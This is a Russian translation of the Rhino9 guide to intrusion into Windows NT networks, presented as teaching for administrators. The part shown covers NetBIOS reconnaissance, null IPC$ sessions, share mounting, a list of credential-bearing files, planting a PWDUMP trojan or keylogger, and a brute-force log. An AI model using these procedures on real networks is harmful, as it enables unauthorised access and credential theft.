WindowsNT: удалённое вторжение
Содержание:
- Введение
- Использование
- NetBIOS
- Web-сервер
- Разное
- Приложение
A
- Приложение
B
- Приложение
C
- Приложение
D
- Приложение E
- Приложение
F
- Эпилог
Введение
Этот документ - попытка группы Rhino9 документировать технику и методы,
используемые в нападении на основанные на WindowsNT сети. Цель данного
документа состоит в том, чтобы научить администраторов и профессионалов
защиты способам проникновения в NT-сети. Этот документ пытается
следовать шагам классического текста "Как улучшить защиту вашего
сайта вторжением в него" , который написали Dan Farmer и Wietse
Venema.
Конечно, этот текст не будет содержать все известные методы вторжения
в NT. Мы попытались собрать текст, который Администраторы могли
бы использовать для изучения основных методов проникновения, чтобы
проверить уязвимость их собственных сетей. Администратор должен
иметь хорошие знания относительно того, как проникновения происходят
и должен быть способен использовать эти знания чтобы далее
защитить свою сеть.
Этот файл не предназначен для людей, которые плохо знакомы
с защитой или технологиями организации сетей. Авторы предполагают,
что люди, читающие этот документ, имеют некоторое понимание протоколов,
технологий и архитектуры сервера и сети.
Использование
Текст написан в процедурной манере. Мы очень подробно всё описали,
чтобы подойти как можно ближе к реальному вторжению. Большинство методов,
обсуждаемых в этом тексте, довольно просто выполнить, как только наступит
понимание того, как, что и почему делается.
Документ разделен на 3 части: NetBIOS, WebServer, и Разное, каждая
из которых описывает различные методы сбора информации и методов
проникновения.
Часть 1 - "NETBIOS"
Начальный шаг, который делает хакер, это сканирование портов целевой
машины или сети. Удивительно, как техника атаки может стать основанной
на открытых портах целевой машины. Вы должны понять, что это норма
для NT-машины, - иметь различные открытые порты с Unix-машиной. Как
правило хакер может по результатам сканирования портов сказать,
является ли компьютер NT- или Unix-машиной с довольно точными результатами.
Очевидно имеются некоторые исключения из данного правила, но вообще
это может быть сделано.
При нападении на NT-сеть, NetBIOS имеет тенденцию брать главный
удар на себя. По этой причине, NetBIOS будет первой серьезной темой
для обсуждения.
Сбор информации с NetBIOS может быть довольно простой вещью, хотя
и занимает некоторое время. NetBIOS вообще имеет тенденцию быть
очень медленным, поэтому и требует много времени.
Если при сканировании портов выясняется, что на целевой машине
порт 139 открыт, следует естественный процесс. Первый шаг - выполнение
команды NBTSTAT.
Команда NBTSTAT может использоваться, чтобы сделать запрос сетевых
машин относительно NetBIOS информации. Это может также быть полезно
для чистки NetBIOS кэша и предзагрузки файла LMHOSTS. Эта команда
может быть чрезвычайно полезна при выполнении ревизий защиты. Результаты
её выполнения могут иной раз показать больше, чем вы могли бы подумать.
Использование: nbtstat [-a компьютер] [-A IP-адрес] [-c]
[-n] [-R] [-r] [-S] [-s] [интервал]
Ключи:
-a вывести таблицу имён удаленного компьютера
по имени.
-A вывести таблицу имён удаленного компьютера по IP-адресу.
-c вывести удаленный кэш имён, включая адреса IP.
-n вывести локальные имена NetBIOS.
-r вывести имена, найденные передачей и через WINS.
-R произвести чистку и перезагрузить удаленный кэш таблицы
имён.
-S вывести таблицу сеансов с целевым адресом IP.
-s вывести преобразования таблицы сеансов.
Заголовки столбца, произведенные NBTSTAT имеют следующие значения:
Input
Число полученных байт.
Output
Число отосланных байт.
In/Out
Подключение от локального компьютера
или от другой системы к
локальному компьютеру.
Life
Остающееся время до того, как ваш компьютер
очистит кэш таблицы имён.
Local Name
Локальное NetBIOS имя, данное подключению.
Remote Host
Имя или адрес IP удаленного главного компьютера.
Type
Имя может иметь один из двух типов: уникальный
или группа.
Последний байт из 16-символьного имени
NetBIOS часто означает кое-что потому что то же самое имя может
присутствовать в нескольких экземплярах на том же самом компьютере.
Это показывает последний байт имени, преобразованный в hex-формат.
State
Ваши NetBIOS подключения будут находиться
в одном из следующих "состояний":
Состояние |
Значение |
Accepting |
входящее подключение находится в процессе |
Associated |
подключение находится в конечной точке и ваш компьютер
связал его с адресом IP. |
Connected |
это хорошее состояние! Оно означает, что вы связаны с удаленным
ресурсом |
Connecting |
ваш сеанс пробует решить преобразование имени в IP-адрес
ресурса адресата |
Disconnected |
сеанс связи закончен |
Disconnecting |
ваш компьютер запросил разъединение, и ожидает ответа от
удаленного компьютера |
Idle |
удаленный компьютер был открыт в текущем сеансе, но
в настоящее время он не принимает подключения |
Inbound |
входящий сеанс пробует соединиться |
Listening |
удаленный компьютер доступен |
Outbound |
ваш сеанс создает подключение TCP |
Reconnecting |
если ваше подключение потерпело неудачу на первой попытке,
это состояние показывает попытку повторного соединения |
Имеется образец фактического ответа команды NBTSTAT:
C:\>nbtstat -A x.x.x.x
NetBIOS Remote Machine
Name Table
Name
Type Status
---------------------------------------------
DATARAT <00>
UNIQUE Registered
R9LABS
<00> GROUP Registered
DATARAT <20>
UNIQUE Registered
DATARAT <03>
UNIQUE Registered
GHOST
<03> UNIQUE Registered
DATARAT <01>
UNIQUE Registered
MAC Address = 00-00-00-00-00-00
Используя таблицу ниже, что вы можете сказать о компьютере ?
Name
Number Type
Usage
================================================
<computername>
00
U Workstation Service
<computername>
01
U Messenger Service
<\\_MSBROWSE_> 01
G Master Browser
<computername>
03
U Messenger Service
<computername>
06
U RAS Server Service
<computername>
1F
U NetDDE Service
<computername>
20
U File Server Service
<computername>
21
U RAS Client Service
<computername>
22
U Exchange Interchange
<computername>
23
U Exchange Store
<computername>
24
U Exchange Directory
<computername>
30
U Modem Sharing
Server Service
<computername>
31
U Modem Sharing
Client Service
<computername>
43
U SMS Client Remote
Control
<computername>
44
U SMS Admin Remote
Control Tool
<computername>
45
U SMS Client Remote
Chat
<computername>
46
U SMS Client Remote
Transfer
<computername>
4C
U DEC Pathworks
TCPIP Service
<computername>
52
U DEC Pathworks
TCPIP Service
<computername>
87
U Exchange MTA
<computername>
6A
U Exchange IMC
<computername>
BE
U Network Monitor
Agent
<computername>
BF
U Network Monitor
Apps
<username>
03
U Messenger
Service
<domain>
00
G Domain Name
<domain>
1B
U Domain Master
Browser
<domain>
1C
G Domain Controllers
<domain>
1D
U Master Browser
<domain>
1E
G Browser Service
Elections
<INet~Services>
1C
G Internet Information
Server
<IS~Computer_name> 00
U Internet Information
Server
<computername>
[2B] U
Lotus Notes Server
IRISMULTICAST
[2F]
G Lotus Notes
IRISNAMESERVER [33]
G Lotus Notes
Forte_$ND800ZA
[20]
U DCA Irmalan
Gateway Service
Unique (U): имя может иметь только один адрес IP, назначенный
для него. Может показаться, что на сетевом устройстве присутствуют
многократные случаи одного и того же имени, но суффикс будет
уникален, делая имя также полностью уникальным.
Group (G): нормальная группа; одиночное имя может существовать
со многими адресами IP.
Multihomed (M): имя уникально, но из-за множественных сетевых
интерфейсов на одном и том же компьютере, эта конфигурация
необходима чтобы разрешить регистрацию. Максимальное число адресов
- 25.
Internet Groupt (I): это специальная конфигурация имени
группы, используемая для управления WinNT именами домена.
Domain Name (D): Новый в NT 4.0.
Хакер может использовать таблицу выше и результат от nbtstat против
ваших машин, чтобы начать собирать информацию относительно их. По
этой информации хакер может сказать, какие услуги выполняются на
целевой машине и иногда, какие пакеты программ были установлены.
Традиционно, каждый сервисный или главный пакет программ идет со
своими ошибками, так что этот тип информации полезен для хакера.
Следующим логическим шагом был бы подбор возможных имён пользователей
удаленной машины. Сетевой вход в систему состоит из двух частей
- имени пользователя и пароля. Как только хакер имеет правильный
список имен пользователей, он имеет половину из нескольких правильных
входов в систему. Теперь, используя команду nbtstat, хакер может
получить входное имя любого, кто подключён локально к данной
машине. В результатах команды nbtstat, строки с идентификатором
<03> - имена пользователей или имена компьютеров. Подбор имён
пользователей может также быть выполнен через нулевой сеанс IPC
и инструментальные средства SID (для получения дополнительной информации
относительно инструментальных средств SID читать приложение B).
IPC$ (меж-процессовая связь) - стандартный скрытый ресурс
на NT машине, которая главным образом используется для связи сервер-сервер.
NT машины были разработаны для соединений друг с другом
и получения различных типов необходимой информации через этот ресурс.
Как и со многими особенностями проекта в любой операционной системе,
хакеры научились использовать эту особенность в их собственных целях.
Соединяясь с этим ресурсом хакер получает, для всех технических
целей, допустимое подключение к вашему серверу. Соединяясь с этим
ресурсом как нулевое соединение, хакер способен установить
подключение без необходимой аутентификации.
Чтобы соединиться с ресурсом IPC$ как нулевое соединение, хакер
выполняет следующую команду:
c:\>net use \\[ip address of target machine]\ipc$ "" /user:""
Если подключение успешно, хакер может делать множество других вещей,
кроме как подбор имён пользователей, но давайте сначала поговорим
именно об этом. Как упомянуто ранее, эта методика требует нулевого
сеанса IPC и инструментальных средств SID, которые написал
Evgenii Rudnyi. Инструментальные средства SID состоят из двух различных
частей, User2sid и Sid2user. User2sid будет брать имя аккаунта или
группы и давать Вам соответствующий SID. Sid2user будет брать SID
и давать Вам имя соответствующего пользователя или группы. Как автономный
инструмент, это - процесс ручной и очень требует время. Userlist.pl
- perl скрипт, написанный Mnemonix, который автоматизирует этот
процесс размола SID, он решительно сокращает время,
трубующееся хакеру на подбор информации.
На данном этапе хакер знает какие услуги выполняются на удаленной
машине, какие главные пакеты программ были установлены (в некоторых
пределах), и имеет список правильных имён пользователей и групп
для данной машины. Хотя это может походить на тонну информации для
постороннего, чтобы иметь её относительно вашей сети, нулевой сеанс
IPC открыл другие способы сбора информации. Группа Rhino9 разработала
полную политику защиты для удаленной машины. Такие вещи, как
блокировка аккаунта, минимальная длина пароля, возраст пароля, уникальность
пароля для каждого пользователя и группы, которой он принадлежит,
и индивидуальные ограничения домена для данного пользователя - все
через нулевой сеанс IPC. Некоторые из доступных инструментальных
средств для сбора большего количества информации через нулевой
сеанс IPC, будут обсуждены ниже.
При помощи нулевого сеанса IPC хакер может также получить список
сетевых ресурсов, которые не могут иначе быть доступны. По очевидным
причинам, хакер хотел бы знать то, какие сетевые ресурсы Вы имеете
доступными на ваших машинах. Для сбора такой информации используется
стандартная сетевая команда следующим образом:
c:\>net view \\[IP-адрес целевой машины]
В зависимости от политики защиты целевой машины, этот список может
или не может быть отклонен. Пример ниже (ip-адрес не был указан
по очевидным причинам):
C:\>net view \\0.0.0.0
System error 5 has occurred.
В доступе отказано.
C:\>net use \\0.0.0.0\ipc$ "" /user:""
The command completed successfully.
C:\>net view \\0.0.0.0
Shared resources at \\0.0.0.0
Share name
Type Used as
Comment
-------------------------------------------------------------------------------
Accelerator
Disk
Agent Accelerator share for Seagate backup
Inetpub
Disk
mirc
Disk
NETLOGON Disk
Logon server share
www_pages
Disk
Команда выполнилась успешно.
Как Вы можете видеть, список ресурсов на этом сервере не был доступен,
пока не был установлен нулевой сеанс IPC. Теперь вы начинаете понимать,
насколько может быть опасно это подключение IPC, но методы IPC,
известные нам, фактически самые основные. Возможности, предоставленные
ресурсом IPC, только начинают исследоваться.
Выпуск WindowsNT 4.0 Resource Kit предоставил новый набор инструментальных
средств, доступных и администратору, и хакеру. Ниже - описание некоторых
из Resource Kit Utilities, которые группа Rhino9 использовала вместе
с нулевым сеансом IPC$ для сбора информации. Читая эти описания
инструментов и информацию, которую они выдают, имейте в виду,
что нулевой сеанс, который используется, НЕ обеспечивает удалённую
сеть любой реальной аутентификацией.
UsrStat: эта утилита командной строки показывает имя пользователя,
полное имя, и дату и время последнего входа в систему для каждого
пользователя в данном домене. Ниже - фактический результат работы
данного инструмента, используемого через нулевой сеанс IPC против
удалённой сети:
C:\NTRESKIT>usrstat domain4
Users at \\STUDENT4
Administrator -
- logon: Tue Nov 17 08:15:25 1998
Guest -
- logon: Mon Nov 16 12:54:04 1998
IUSR_STUDENT4 -
Internet Guest Account - logon: Mon Nov 16 15:19:26 1998
IWAM_STUDENT4 - Web Application
Manager account - logon: Never
laurel -
- logon: Never
megan -
- logon: Never
Чтобы полностью понять, что происходит при сборе данных, давайте
обсудим это. Прежде, чем фактическое нападение имело место, отображение
было помещено в файл lmhosts, который отобразил Student4 машину,
и это - состояние деятельности домена, используя #PRE/#DOM теги
(объяснены более подробно ниже.). Вход был тогда предзагружен в
NetBIOS кэш, и нулевой сеанс IPC был установлен. Как Вы можете видеть,
команда запущена против имени домена. Инструмент тогда сделает запрос
Первичного Контроллера Домена для данного домена.
Global: эта утилита командной строки отображает членов глобальных
групп на удаленных серверах или доменах. Как сказано выше, эта утилита
используется вместе с отображением Lmhosts/IPC. Ниже - фактический
сбор данных данного инструмента. Например, "пользователи домена"
- стандартная, заданная по умолчанию группа, присутствующая в WindowsNT
домене. Для этого примера, мы использовали инструмент, чтобы сделать
запрос Domain1 для листинга всех пользователей в группе "пользователи
домена".
C:\>global "Domain Users" domain1
Bob
SPUPPY$
BILLY BOB$
Bill
IUSR_BILLY BOB
IWAM_BILLY BOB
IUSR_SPUPPY
IWAM_SPUPPY
Local: этот инструмент делает то же, что и Global, но
он делает запрос машины на членов локальной группы вместо глобальной.
Ниже - пример работы данного инструмента:
C:\>local "administrators" domain1
Bob
Domain Admins
Bill
NetDom: инструмент, который сделает запрос сервера
о его роли в домене, а также на PDC машины. Этот инструмент также
работает с отображением Lmhosts/IPC. Ниже - стандартный вывод
данного инструмента:
Querying domain information on computer \\SPUPPY ...
The computer \\SPUPPY is a domain controller of DOMAIN4.
Searching PDC for domain DOMAIN4 ...
Found PDC \\SPUPPY
The computer \\SPUPPY is the PDC of DOMAIN4.
NetWatch: инструмент, выдающий список ресурсов на
удаленной машине. Опять же, этот инструмент работает с отображением
Lmhosts/IPC. Плохая вещь относительно этого инструмента состоит
в том, что группа Rhino9 имеет обыкновение использовать его для
поиска списка скрытых ресурсов на удаленной машине.
Пустое подключение IPC может позволить хакеру получить доступ
к вашему системному реестру. Как только нулевой сеанс IPC был установлен,
хакер запустит его локальную утилиту regedit и сделает попытку опции
Connect Network Registry. Если это произойдёт успешно, хакер получит
доступ для чтения на некоторые ключи и потенциально - на чтением/запись.
Но даже доступ для чтения к системному реестру нежелателен с точки
зрения защиты.
Другая методика относительно неизвестна и часто не приносит никаких
результатов. Мы охватываем её потому что она всё же может давать
результаты, и может быть эффективной методикой вторжения.
Эта методика включает нулевой сеанс IPC и входы в LMHOSTS файл.
LMHOSTS файл - (обычно) локальный файл, живущий на Windows-машинах,
для отображения имён NetBIOS в адреса IP. Используемый главным образом
в не-WINS средах, или на клиентах, неспособных использовать
WINS, файл LMHOSTS может использоваться хакерами многими различными
способами. Различные использования для файла LMHOSTS будут обсуждены
позже в этом тексте, пока мы обсудим, как LMHOSTS файл используется
в этой методике.
Это превосходная методика для обсуждения, потому что она показывает
использование одного из предыдущих методов вместе с ней для выполнения
цели. Начиная со сканирования портов, и обнаруживая, что порт 139
является открытым, хакер запускает команду nbtstat. Потом
хакер подбирает имя NetBIOS удаленной машины по результатам nbtstat.
Давайте посмотрим на такой же пример результатов работы nbtstat,
как и выше:
C:\>nbtstat -A x.x.x.x
NetBIOS Remote Machine
Name Table
Name
Type Status
-----------------------------------------------------------------
DATARAT <00>
UNIQUE Registered
R9LABS
<00> GROUP Registered
DATARAT <20>
UNIQUE Registered
DATARAT <03>
UNIQUE Registered
GHOST
<03> UNIQUE Registered
DATARAT <01>
UNIQUE Registered
MAC Address = 00-00-00-00-00-00
Исследуя результаты команды nbtstat, мы ищем идентификатор
<03>. Если кто-то локально находится в машине, Вы будете видеть
два <03> идентификатора. Обычно первый <03> - имя netbios
машины, а второй <03> - имя локального пользователя. На данном
этапе хакер поместил бы имя netbios и отображение адреса ip машины
в его локальный LMHOSTS файл, закончив его тегами #DOM и #PRE. Тег
#PRE обозначает, что вход должен быть предзагружен в netbios кэш.
Тег #DOM обозначает деятельность домена. Теперь хакер запускает
команду nbtstat -R чтобы произвести предзагрузку входа в его кэш.
Затем хакер устанавливает нулевой сеанс IPC. Как только нулевой
сеанс IPC будет установлен, хакер запустит его локальную копию
Менеджера Пользователя для доменов и использует функцию Select Domain
в Менеджере Пользователя. Домен удаленной машины появится
(или может быть напечатан вручную) потому что он был предзагружен
в кэш. Если защита удаленной машины слаба, Менеджер Пользователя
отобразит список всех пользователей на удаленной машине. Если это
делается по медленной связи (то есть 28.8-модем) это не будет обычно
работать. На более быстрых сетевых подключениях, однако, это имеет
тенденцию давать результаты.
Теперь, когда хакер собрал некоторую информацию относительно вашей
машины, следующим шагом будет попытка проникновения. Первый метод
проникновения, который будет обсуждён, будет нападение на ресурс
открытого файла. Хакер соединит предварительно обсужденную команду
net view с командой net use для выполнения данной атаки.
Взяв net view выше, давайте обсудим атаку.
C:\>net view \\0.0.0.0
Shared resources at \\0.0.0.0
Share name Type
Used as Comment
-------------------------------------------------------------------------------
Accelerator Disk
Agent Accelerator share for Seagate backup
Inetpub
Disk
mirc
Disk
NETLOGON Disk
Logon server share
www_pages Disk
The command completed successfully.
Как только хакер имеет список удаленных ресурсов, он попытается
подсоединиться к удаленному ресурсу. Пример команды для атаки
был бы:
c:\>net use x: \\0.0.0.0\inetpub
Это нападение будет работать только если ресурс не защищён паролем,
или разделён между каждой группой (ПРИМЕЧАНИЕ: "каждой" означает
именно "каждой". То есть, если кто-то соединяется нулевым сеансом,
он теперь - часть каждой группы.). Если эти параметры имеют
место, хакер способен подключить сетевой диск к вашей машине и начать
проникновение. Имейте в виду, что хакер не ограничен только лишь
соединением с дисковыми ресурсами. Хакер, знающий NT, знает, что
NT имеет скрытые административные ресурсы. По умолчанию, NT создает
ресурс IPC$ и один скрытый ресурс для каждого диска на машине (то
есть машина, которая имеет диски C, D, и E имеет соответствующие
скрытые ресурсы C$, D$, и E$). Имеется также скрытый ADMIN$ ресурс,
который указывает непосредственно на инсталляционный путь NT
(то есть, если Вы установили NT на C:\winnt, то ADMIN$ указывает
точно на эту часть диска). Одна вещь, которую группа Rhino9
заметила относительно большинства NT сообщества защиты, состоит
в том, что они, кажется, забыли о концепции проникновения
через одну внутреннюю NT машину в другую внутреннюю NT машину. Группа
Rhino9, в течение наших профессиональных ревизий, выполнила эту
задачу много раз. Если хакер умён и имеет доступ к одной из ваших
машин, он может написать саморазмножающийся вирус и пустить его
в остальную часть вашей сети. По этой причине, эти нападения могут
представлять серьезную угрозу.
(Обратите внимание, с группой Rhino9 однажды входили
в контакт, чтобы выполнить удаленную ревизию проникновения для одного
самого большого ISP во Флориде. Мы получили доступ к ресурсу на
одной из персональных машин техника, и оттуда получили доступ к
полной сети. Это может быть сделано.)
Сначала, может быть, не видно опасности от кого-то, кто имеет доступ
к вашему жесткому диску. Но доступ к жесткому диску открывает новые
направления для сбора информации и установки трояна/вируса. Хакер
обычно ищет кое-что, что могло бы содержать пароль или важные
данные, что он мог бы использовать, чтобы продолжть рыть путь в
вашу сеть. Некоторые из файлов, которые хакер будет искать и использовать,
перечислены ниже, каждый с кратким описанием, чем это является,
и как это можно использовать.
Eudora.ini: этот файл используется для хранения информации
о конфигурации программного обеспечения для e-mail Eudora.
Легко доступный инструмент, называемый eudpass.com, извлечет имя
пользователя и информацию пароля, также как всю информацию,
необходимую хакеру для подслушивания почты пользователей. Теперь
хакер может сконфигурировать его собственное программное обеспечение
для электронной почты, чтобы читать почту адресатов. Помните, что
люди - существа привычки. Шансы, что пароль пользователя электронной
почты является тем же самым паролем, который он использует для входа
в сеть на работе, относительно высоки.
Tree.dat: это файл, который используется популярным программным
обеспечением CuteFTP для хранения комбинации пользователей ftp site/username/password.
Используя программу по имени FireFTP, хакер может легко взломать
tree.dat файл. Как уже говорилось выше, хакер может продолжить сбор
информации относительно Вас и начать атаку.
PWL: эти файлы проживают на Win95-машинах. Они используются,
чтобы хранить определенные пароли для Windows95 конечного пользователя.
Инструмент, называемый glide.exe взломает (с меньшей, чем хотелось
бы эффективностью) PWL файлы. Имеется также документация о том,
как вручную взломать кодирование этих PWL файлов, используя калькулятор.
Продолжая сценарий, хакер продолжит собирать информацию относительно
пользователя и формулировать нападение.
PWD: PWD файлы существуют на машинах, выполняющих FrontPage
или Персональный Webserver. Эти файлы включают имя пользователя
открытым текстом и зашифрованный пароль, соответствующий аутентификации,
необходимой, чтобы управлять website. Схема кодирования, используемая
для этих паролей - стандартная DES-схема. Для взламывания DES существует
много утилит, например John the ripper.
WS_FTP.ini: этот ini файл существует на машинах, использующих
ws_ftp. Хотя автоматизированное эксустройство подачи пароля для
этого файла только недавно было представлено в сообщество защиты,
используемый механизм кодирования не очень силен. Пароль преобразован
в шестнадцатиричный формат. Если цифра - в позиции N, то N добавлен
к цифре. Полностью измените процесс, и Вы взломали эту схему кодирования.
(Это, как известно, иногда работает для взламывания PMail.ini
- Pegasus Mail и Prefs.js - Netscape.)
IDC files: IDC файлы обычно используются для связности
конца к базам данных от webserver. Потому как этот тип подключения
вообще требует идентификации, некоторые IDC файлы содержат комбинации
имени пользователя/пароля, часто открытым текстом.
Waruser.dat: это один из файлов конфигурации для WarFTP,
популярного Win32 FTP сервера. Этот специфический dat файл может
содержать административный пароль непосредственно для FTP сервера.
$winnt$.inf: В течение автоматической инсталляции WindowsNT,
процесс установки требует информационных файлов. Как остаток этого
автоматического инсталляционного процесса, файл, называемый $winnt$.inf,
может существовать в каталоге %systemroot%\system32. Этот
файл может содержать имя пользователя и комбинацию пароля аккаунта,
которая использовалась в течение инсталляции.
Sam _: хотя давно известно, что база данных SAM может представлять
проблему, если она попала в неправильные руки, много людей забывают
об этом. Много потенциальных хакеров спросили себя, как они могли
бы скопировать базу данных SAM, если они могли бы установить диск
поперек сети. Хорошо, обычно это не возможно, потому что NT сервер,
с которым Вы связаны, выполняется, и в то время как он выполняется,
он блокирует SAM. Однако, если администратор создал резервный
диск, копия SAM должна быть расположена в каталоге %systemroot%\repair\.
Этот файл будет назван Sam _. Эта копия по умолчанию доступна
для чтения каждому. Используя копию утилиты samdump, Вы можете извлечь
комбинации имени пользователя/пароля из скопированного SAM.
ExchVerify.log: файл ExchVerify.log создан Cheyenne/Innoculan/ArcServe.
Обычно создаваемый инсталляцией программного обеспечения Cheyenne/Innoculan/ArcServe,
этот файл проживает в корне диска - где программная инсталляция
имела место. Этот файл может содержать чрезвычайно важную информацию,
как показано ниже:
<EXCH-VERIFY>: ExchAuthenticate() called with
NTServerName:[SAMPLESERVER]
NTDomainName[SAMPLESERVER] adminMailbox:[administrator]
adminLoginName:[administrator]
password:[PASSWORD]
Само собой разумеется, файл содержит информацию, которую хакер
может легко использовать, чтобы поставить под угрозу целостность
вашей сети.
Profile.tfm: файл Profile.tfm, который создан программным
обеспечением AcornMail, клиентом POP3. При написании этого документа,
AcornMail начал получать много внимания от сообщества интернета.
После осмотра программного обеспечения, мы нашли, что это - эффективный
POP3 клиент, но инсталляция не NTFS дружественная. После инсталляции
программного обеспечения, мы начали проверять файлы, созданные
AcornMail. Мы нашли, что файл Profile.tfm содержит комбинацию имени
пользователя/пароля. Сначала, мы решили, что программное обеспечение
было вполне ok, потому что оно действительно хранило пароль в зашифрованном
состоянии. Но потом мы поняли, что разрешения на файле profile.tfm
были установлены в полный доступ для каждого. Это создаёт проблемы,
потому что любой может получить копию файла и включить этот файл
в свою собственную инсталляцию AcornMail. Тогда хакер войдет в систему
с сохраненной информацией. Ниже - сбор данных только при помощи
Network Monitor.
00000000 00 01 70 4C 67 80 98 ED A1 00 01 01 08 00 45
00 ..pLg.........E.
00000010 00 4A EA A7 40 00 3D 06 14 88 CF 62 C0 53 D1 36
.J..@.=....b.S.6
00000020 DD 91 00 6E 04 44 F6 1E 84 D6 00 32 51 EB 50 18
...n.D.....2Q.P.
00000030 22 38 64 9E 00 00 2B 4F 4B 20 50 61 73 73 77 6F
"8d...+OK.Passwo
00000040 72 64 20 72 65 71 75 69 72 65 64 20 66 6F 72 20
rd.required.for.
00000050 68 6B 69 72 6B 2E 0D 0A
jjohn...
00000000 98 ED A1 00 01 01 00 01 70 4C 67 80 08 00 45 00
........pLg...E.
00000010 00 36 A4 02 40 00 80 06 18 41 D1 36 DD 91 CF 62
.6..@....A.6...b
00000020 C0 53 04 44 00 6E 00 32 51 EB F6 1E 84 F8 50 18
.S.D.n.2Q.....P.
00000030 21 AC 99 90 00 00 50 41 53 53 20 67 68 6F 73 74
!.....PASS.xerox
00000040 37 33 0D 0A
63..
Как Вы можете видеть, имя пользователя/пароль действительно пропускаютчистым
текстом. Это не ошибка AcornMail.
Теперь, когда мы обсудили файлы, которые хакер может желать
приобрести, если он получает доступ к вашему жесткому диску, давайте
обсудим Троянскую установку. Если и есть одна вещь, которая
может получить для хакера тонну информации, то это - троянская установка.
Нападение на ресурс открытого файла вообще делает троянскую установку
чрезвычайно лёгкой. Один из самых легких и наиболее информативных
троянов - утилита PWDUMP, обернутая в пакетном файле. Если всё подготовлено
правильно, пакетный файл выполнится свернутым, выполнит утилиту
PWDUMP, удалит её после того, как она выполнила ее задачу, и наконец
сотрёт себя.
Правила: адресат должен быть NT машиной, и конечный пользователь,
выполняющий трояна должен быть администратором, так что хакер помещает
пакетный файл в папку запуска Администраторов и ждет. Следующий
раз, когда Администратор войдет в машину, пакетный файл выполняется
и собирает комбинации имени пользователя/пароля. Тогда хакер соединяется
снова с машиной через совместное использование файла и забирает
результаты.
Другое хорошее нападение, которое хакер может попробовать, - это
размещение пакета keylogger в папке запуска. Это может обычно делаться
любым пользователем, не только администратором. Он соберет все нажатия
клавиш пользователя, кроме начальных реквизитов входа в систему
(из-за архитектуры NT, которая останавливает все процессы режима
пользователя в течение входа в систему). Потом хакер соединяется
снова с целевой машиной в более позднее время и забирает зарегистрированные
нажатия клавиш.
Как предотвратить подобные нападения ? Не использовать элементы,
доступные каждой группе, разрабатывать сильные схемы пароля
в вашей среде. Если хакер натолкнется на сервер, который запрашивает
его относительно аутентификации на каждом повороте, возможно что
хакер отстанет. Хотя большинство хакеров продолжит атаку с применением
грубой силы.
Несомненно наиболее обычный инструмент для грубой силы NetBIOS-нападения
- это NAT. NAT позволит пользователю автоматизировать сетевые
команды подключения, использующие список возможных имен пользователя
и паролей. NAT будет пытаться соединяться с удаленной машиной, используя
каждое имя пользователя и каждый пароль в обеспеченных списках.
Это может быть длинный процесс, но часто хакер будет использовать
сокращенный список обычных паролей и иногда это выходит. Хакер создаст
свой список из имен пользователя, используя информацию, собранную
методами, обсужденными выше. Список пользователей, который хакер
будет использовать, будет также создан из подбираемой информации.
Хакер может задать конкретный IP-адрес для атаки или он может задать
полный диапазон адресов IP. NAT будет старательно работать, чтобы
выполнить задачу, все время выдавая сформированные сообщения.
Ниже - фактический файл результатов реального нападения NAT. Хотя
разрешение на это нападение было дано, адрес IP был изменен, чтобы
защитить адресата.
[*]--- Reading usernames from userlist.txt
[*]--- Reading passwords from passlist.txt
[*]--- Checking host: 0.0.0.0
[*]--- Obtaining list of remote NetBIOS names
[*]--- Attempting to connect with name: *
[*]--- Unable to connect
[*]--- Attempting to connect with name: *SMBSERVER
[*]--- CONNECTED with name: *SMBSERVER
[*]--- Attempting to connect with protocol: MICROSOFT NETWORKS
1.03
[*]--- Server time is Tue Oct 14 11:33:46 1997
[*]--- Timezone is UTC-4.0
[*]--- Remote server wants us to encrypt, telling it not to
[*]--- Attempting to connect with name: *SMBSERVER
[*]--- CONNECTED with name: *SMBSERVER
[*]--- Attempting to establish session
[*]--- Was not able to establish session with no password
[*]--- Attempting to connect with Username: `ADMINISTRATOR' Password:
`ADMINISTRATOR'
[*]--- Attempting to connect with Username: `ADMINISTRATOR' Password:
`GUEST'
[*]--- Attempting to connect with Username: `ADMINISTRATOR' Password:
`ROOT'
[*]--- Attempting to connect with Username: `ADMINISTRATOR' Password:
`ADMIN'
[*]--- Attempting to connect with Username: `ADMINISTRATOR' Password:
`PASSWORD'
[*]--- CONNECTED: Username: `ADMINISTRATOR' Password: `PASSWORD'
[*]--- Obtained server information:
Server=[AENEMA] User=[] Workgroup=[STATICA] Domain=[]
[*]--- Obtained listing of shares:
Sharename Type
Comment
--------- ----
-------
ADMIN$
Disk: Remote Admin
C$
Disk: Default share
D$
Disk: Default share
E$
Disk: Default share
HPLaser4 Printer:
HP LaserJet 4Si
IPC$
IPC: Remote IPC
NETLOGON Disk:
Logon server share
print$
Disk: Printer Drivers
[*]--- This machine has a browse list:
Server
Comment
---------
-------
AENEMA
[*]--- Attempting to access share: \\*SMBSERVER\
[*]--- Unable to access
[*]--- Attempting to access share: \\*SMBSERVER\ADMIN$
[*]--- WARNING: Able to access share: \\*SMBSERVER\ADMIN$
[*]--- Checking write access in: \\*SMBSERVER\ADMIN$
[*]--- WARNING: Directory is writeable: \\*SMBSERVER\ADMIN$
[*]--- Attempting to exercise .. bug on: \\*SMBSERVER\ADMIN$
[*]--- Attempting to access share: \\*SMBSERVER\C$
[*]--- WARNING: Able to access share: \\*SMBSERVER\C$
[*]--- Checking write access in: \\*SMBSERVER\C$
[*]--- WARNING: Directory is writeable: \\*SMBSERVER\C$
[*]--- Attempting to exercise .. bug on: \\*SMBSERVER\C$
[*]--- Attempting to access share: \\*SMBSERVER\D$
[*]--- WARNING: Able to access share: \\*SMBSERVER\D$
[*]--- Checking write access in: \\*SMBSERVER\D$
[*]--- WARNING: Directory is writeable: \\*SMBSERVER\D$
[*]--- Attempting to exercise .. bug on: \\*SMBSERVER\D$
[*]--- Attempting to access share: \\*SMBSERVER\E$
[*]--- WARNING: Able to access share: \\*SMBSERVER\E$
[*]--- Checking write access in: \\*SMBSERVER\E$
[*]--- WARNING: Directory is writeable: \\*SMBSERVER\E$
[*]--- Attempting to exercise .. bug on: \\*SMBSERVER\E$
[*]--- Attempting to access share: \\*SMBSERVER\NETLOGON
[*]--- WARNING: Able to access share: \\*SMBSERVER\NETLOGON
[*]--- Checking write access in: \\*SMBSERVER\NETLOGON
[*]--- Attempting to exercise .. bug on: \\*SMBSERVER\NETLOGON
[*]--- Attempting to access share: \\*SMBSERVER\print$
[*]--- WARNING: Able to access share: \\*SMBSERVER\print$
[*]--- Checking write access in: \\*SMBSERVER\print$
[*]--- WARNING: Directory is writeable: \\*SMBSERVER\print$
[*]--- Attempting to exercise .. bug on: \\*SMBSERVER\print$
[*]--- Attempting to access share: \\*SMBSERVER\ROOT
[*]--- Unable to access
